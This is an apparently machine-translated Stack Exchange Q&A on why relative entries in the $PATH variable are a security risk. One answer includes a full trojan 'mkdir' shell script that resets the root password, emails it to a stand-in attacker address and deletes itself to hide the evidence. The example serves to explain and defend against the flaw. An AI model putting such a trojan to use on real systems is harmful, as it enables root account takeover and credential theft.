在 PATH 环境变量中使用相对路径的安全隐患?

ehi*_*ime 7 security linux environment-variables

我们进行了一次审计,只是将我们标记为在$PATHenv 变量内有相对路径。我不确定这是否真的是一个安全问题,并希望与每个人联系,看看这是否真的是一个安全问题,或者它是否只是我假设的最佳实践。有人可以提供有关$PATH与亲戚一起使用的任何安全问题的信息吗?谢谢

Mat*_*Ife 8

您使用的路径有两个问题。

  1. 路径是相对的。
  2. 相对路径主要路径之前

让我们假设您有以下 shell 脚本,您用作 root 来更新某些 Web 应用程序,并且您已经设置了$PATH正在使用的/etc/profile

#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
Run Code Online (Sandbox Code Playgroud)

对于攻击者,您提供了一种在由所述攻击者控制的 shell 中执行某些内容的方法。一种攻击形式如下所示 - 我试图mkdir在易受攻击的脚本中破坏对调用的控制。

attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" attacker@somewherebad.com
/bin/mkdir $@
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
Run Code Online (Sandbox Code Playgroud)

然后我等你更新你的webapp。

现在会发生什么,易受攻击的脚本切换到/dev/shm. 当它这样做并运行时,mkdirapps/java/bin/mkdir首先找到程序,在这种情况下它会重置 root 密码,将新 root 密码的攻击者通过电子邮件发送给攻击者,实际上调用 real mkdir(隐藏任何实际发生的事实)并将自身从攻击中移除小路。

作为根用户,您知道发生了什么,并且一旦有效载荷被交付,证据就会被删除。


Law*_*w29 4

$PATH 中存在相对路径的问题是,如果攻击者可以在您的文件系统中创建具有给定名称的文件,您就有执行该文件的风险。

示例:df或者监控显示 /var 已满,du显示已满/var/spool/ftp/uploads,您会做什么?

cd /var/spool/ftp/uploads
ls -ltr
Run Code Online (Sandbox Code Playgroud)

你被拥有了。您甚至看不到ls输出,所以您永远不会知道。

将 ftp 上传替换为某个客户端网站的某些数据目录,或者共享计算机的 /tmp 目录,或者很多其他东西。

诚然,这种情况不会经常发生,但风险确实存在,而且写起来./scriptscript容易。